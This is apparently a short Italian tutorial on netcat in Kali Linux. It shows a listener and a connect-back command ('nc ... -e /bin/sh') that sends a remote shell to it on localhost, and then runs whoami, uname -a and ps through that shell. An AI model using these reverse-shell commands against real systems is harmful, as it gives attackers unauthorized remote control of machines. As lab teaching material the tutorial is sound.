

TOOLS DI KALI LINUX

NETCAT

Questo apre un listener per le connessioni in entrata -l apre un listener e -p assegna un numero di porta

```
(kali㉿kali)-[~]  
$ nc -lp 1234
```

Questo si conatterà all'indirizzo inserito sulla porta 1234, -e /bin/sh esegue una shell che verrà reindirizzata al nostro sistema. Questo ci consente di eseguire comandi dal nostro terminale

```
(kali㉿kali)-[~]  
$ nc 127.0.0.1 1234 -e /bin/sh
```

whoami

Questa riga di comando ci darà il nome utente corrente

```
(root㉿kali)-[~]  
# nc -l -p 1234  
whoami  
kali
```

```
(kali㉿kali)-[~]  
$ nc 127.0.0.1 1234 -e /bin/sh
```

uname -a

ci darà le informazioni di sistema

```
(root㉿kali)-[~]  
# nc -l -p 1234  
uname -a  
Linux kali 6.1.0-kali9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1kali1 (2023-05-12) x86_64 GNU/Linux
```

```
(kali㉿kali)-[~]  
$ nc 127.0.0.1 1234 -e /bin/sh
```

ps

Ci mostrerà tutti i processi attualmente in esecuzione sulla destinazione

```
(root㉿kali)-[~]  
# nc -l -p 1234  
ps  
  PID TTY          TIME CMD  
 33214 pts/2    00:00:00 zsh  
 38476 pts/2    00:00:00 sh  
 38477 pts/2    00:00:00 ps
```

```
(kali㉿kali)-[~]  
$ nc 127.0.0.1 1234 -e /bin/sh
```